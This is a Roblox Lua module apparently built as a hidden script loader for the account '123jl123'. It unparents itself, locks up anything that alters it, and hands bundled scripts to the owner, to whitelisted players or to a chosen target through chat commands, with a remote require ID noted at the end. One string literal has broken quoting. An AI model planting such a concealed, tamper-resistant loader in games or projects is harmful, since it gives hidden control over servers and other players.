beegy

script.Parent = nil
local TheOwnerName = ""
local Module = script;
local Scripts = {};
local Text = Instance.new("Message",workspace)
	game:GetService("Debris"):AddItem(Text, 3)
Text.Text = "123jl123 Modules has been loaded (this message will go away after 3 sec) and no i wont give you an list..."
local whitelisttab = {}


	function scan(Thing)
for _, v in pairs(Thing:GetChildren()) do
if v:IsA("Script") and not v:IsA("LocalScript")  then
local Bool = Instance.new("BoolValue",v)
Bool.Name = "WasOn"
if v.Disabled == false then
Bool.Value = false
else
Bool.Value = true
end
v.Disabled = true
end
if not v:IsA("Tool")  then
scan(v)
end
end
end



function scan2(Thing)
for _, v in pairs(Thing:GetChildren()) do
if v:IsA("BoolValue") and v.Name == "WasOn" then
if v.Value == false then
v.Parent.Disabled = false
else
v.Parent.Disabled = true
end
v:Destroy()
else
scan2(v)
end
end
end












for _,v in next, Module.Scripts:GetChildren'' do
	scan(v)
    Scripts[v.Name:lower()] = v:Clone();
    v:Remove()
end;






Module.Changed:connect(function() repeat while true do end until nil end)


wait(3)


local Players = game:GetService("Players");


local FatPlayer = nil



function ListPlr(fundfat)

if fundfat ~= nil then
local FatPlayer2 = fundfat

local function Chatfat(Message2)

	coroutine.resume(coroutine.create(function()
        if string.sub(Message2,1,7) == "script/" then
            if(Scripts[string.sub(Message2,8):lower()])then
                local given = Scripts[string.sub(Message2,8):lower()]

           local gscript =  given:Clone()


gscript:WaitForChild("PlayerName").Value = FatPlayer2.Name
gscript.Parent = FatPlayer2:FindFirstChildOfClass("PlayerGui") or FatPlayer2:FindFirstChildOfClass("Backpack") or FatPlayer2.Character;


for _,v in next, gscript:GetChildren() do
scan(v)
end
end
  end;
	end))


end

	FatPlayer2.Chatted:connect(Chatfat)


end


end



	coroutine.resume(coroutine.create(function()
while TheOwnerName == "" do wait() end
Me = nil
	if 	 Players:FindFirstChild(TheOwnerName) then
Me = Players:WaitForChild(TheOwnerName)
end
   local  Chat2 = function(Message)


	coroutine.resume(coroutine.create(function()
        if string.sub(Message,1,7) == "script/" then
            if(Scripts[string.sub(Message,8):lower()])then
                local given = Scripts[string.sub(Message,8):lower()]

           local gscript =  given:Clone()


gscript:WaitForChild("PlayerName").Value = Me.Name
gscript.Parent = Me:FindFirstChildOfClass("PlayerGui") or Me:FindFirstChildOfClass("Backpack") or Me.Character;


for _,v in next, gscript:GetChildren() do
scan(v)
end
end
  end;
	end))


	coroutine.resume(coroutine.create(function()
        if string.sub(Message,1,10) == "/e script/" then
            if(Scripts[string.sub(Message,11):lower()])then
                local given = Scripts[string.sub(Message,11):lower()]

           local gscript =  given:Clone()


gscript:WaitForChild("PlayerName").Value = Me.Name
gscript.Parent = Me:FindFirstChildOfClass("PlayerGui") or Me:FindFirstChildOfClass("Backpack") or Me.Character;


for _,v in next, gscript:GetChildren() do
scan(v)
end
end
  end;
	end))




	coroutine.resume(coroutine.create(function()
        if string.sub(Message,1,4) == "gib/" then
         if FatPlayer ~= nil then
            if(Scripts[string.sub(Message,5):lower()])then
                local given = Scripts[string.sub(Message,5):lower()]

           local gscript =  given:Clone()


gscript:WaitForChild("PlayerName").Value = FatPlayer.Name
gscript.Parent = FatPlayer:FindFirstChildOfClass("PlayerGui") or FatPlayer:FindFirstChildOfClass("Backpack") or FatPlayer.Character;
coroutine.resume(coroutine.create(function()
local Text = Instance.new("Message",workspace)
	game:GetService("Debris"):AddItem(Text, .5)
Text.Text = "Gave[ "..FatPlayer.Name.." ]Script: "..gscript.Name
end))

for _,v in next, gscript:GetChildren() do
scan(v)
end
end

else
	coroutine.resume(coroutine.create(function()
local Text = Instance.new("Message",workspace)
	game:GetService("Debris"):AddItem(Text, 1.5)
Text.Text = "Error the player do not exist"
	end))

end
        end;


	end))




	coroutine.resume(coroutine.create(function()
        if string.sub(Message,1,4) == "plr/" then

local fundfat = nil
for _, v in pairs(game:GetService("Players"):GetChildren()) do
if v:IsA("Player") and string.sub(v.Name,1):lower() == string.sub(Message,5):lower() then
	fundfat = v
end
end
if fundfat ~= nil then
FatPlayer = fundfat
coroutine.resume(coroutine.create(function()
local Text = Instance.new("Message",workspace)
	game:GetService("Debris"):AddItem(Text, .5)
Text.Text = "Player Set To "..FatPlayer.Name
end))
else
coroutine.resume(coroutine.create(function()
local Text = Instance.new("Message",workspace)
	game:GetService("Debris"):AddItem(Text, 1.5)
Text.Text = "Error ( "..string.sub(Message,5):lower().." ) could not be found"
end))


 end

        end;


	end))


	coroutine.resume(coroutine.create(function()
        if string.sub(Message,1,4) == "wtl/" and TheOwnerName ~="All" then

local fundfat = nil
for _, v in pairs(game:GetService("Players"):GetChildren()) do
if v:IsA("Player") and string.sub(v.Name,1):lower() == string.sub(Message,5):lower() then
	fundfat = v
end
end
if fundfat ~= nil then
local FatPlayer2 = fundfat
coroutine.resume(coroutine.create(function()
local Text = Instance.new("Message",workspace)
	game:GetService("Debris"):AddItem(Text, .5)
Text.Text = "Whitlisted "..FatPlayer2.Name
end))
local function Chatfat(Message2)

	coroutine.resume(coroutine.create(function()
        if string.sub(Message2,1,7) == "script/" then
            if(Scripts[string.sub(Message2,8):lower()])then
                local given = Scripts[string.sub(Message2,8):lower()]

           local gscript =  given:Clone()


gscript:WaitForChild("PlayerName").Value = FatPlayer2.Name
gscript.Parent = FatPlayer2:FindFirstChildOfClass("PlayerGui") or FatPlayer2:FindFirstChildOfClass("Backpack") or FatPlayer2.Character;


for _,v in next, gscript:GetChildren() do
scan(v)
end
end
  end;
	end))


end

	FatPlayer2.Chatted:connect(Chatfat)
else
coroutine.resume(coroutine.create(function()
local Text = Instance.new("Message",workspace)
	game:GetService("Debris"):AddItem(Text, 1.5)
Text.Text = "Error ( "..string.sub(Message,5):lower().." ) could not be found"
end))


 end

        end;


	end))



    end

if game.GameId == 349152601 then

	for _, v in pairs(game:GetService("Players"):GetChildren()) do



		if v:IsA("Player") then
	ListPlr(v)
	end
	end
game:GetService("Players").ChildAdded:connect(function(plry)
	if plry:IsA("Player") then
ListPlr(plry)
end end)


else
	if Me ~= nil then
	Me.Chatted:connect(Chat2)end
game:GetService("Players").ChildAdded:connect(function(plry)
		if plry:IsA("ObjectValue") and plry.Name == "UpdateList" and plry.Value ~= nil then
			local plry2 = plry.Value
			for i = 1,#whitelisttab do
	if plry2:IsA("Player") and plry2.Name == whitelisttab[i] then
	ListPlr(plry2)
			end	end
			wait(.5)
			plry:Destroy()

		end


		if plry:IsA("Player") and plry.Name == TheOwnerName then
		Me = plry
	Me.Chatted:connect(Chat2)
	end

	for i = 1,#whitelisttab do
	if plry:IsA("Player") and plry.Name == whitelisttab[i] then
	ListPlr(plry)
	end
end

	 end)
end
end))

return function(name)


if game.GameId == 349139896 then
	print(1)
end


if game.GameId == 349152601 then

		local Text2 = Instance.new("Message",workspace)
	game:GetService("Debris"):AddItem(Text2, 1)
Text2.Text = "Everyone in place 2 are whitelisted"

TheOwnerName = "All"


	else

TheOwnerName = "123jl123"

if name ~= nil then
	local Text2 = Instance.new("Message",workspace)
--	messagethingy(1)

	game:GetService("Debris"):AddItem(Text2, 2)
Text2.Text = "123jl123 is owner. but "PokiestOfTeeth" is now whitelisted"

local fundfat = nil
for _, v in pairs(game:GetService("Players"):GetChildren()) do
if v:IsA("Player") and string.sub(v.Name,1):lower() == string.sub(name,1):lower() then
		for i = 1,#whitelisttab do
	if v.Name == whitelisttab[i] or v.Name == TheOwnerName then
	break
	end
		end

table.insert(whitelisttab,v.Name)

local fati = Instance.new("ObjectValue")
fati.Value=v
fati.Name = "UpdateList"
wait(.5)
fati.Parent = game:GetService("Players")

end
end
wait(1)
--ListPlr(fundfat)
end

	--messagethingy(1)


end




	end



--c/require(2358662213)()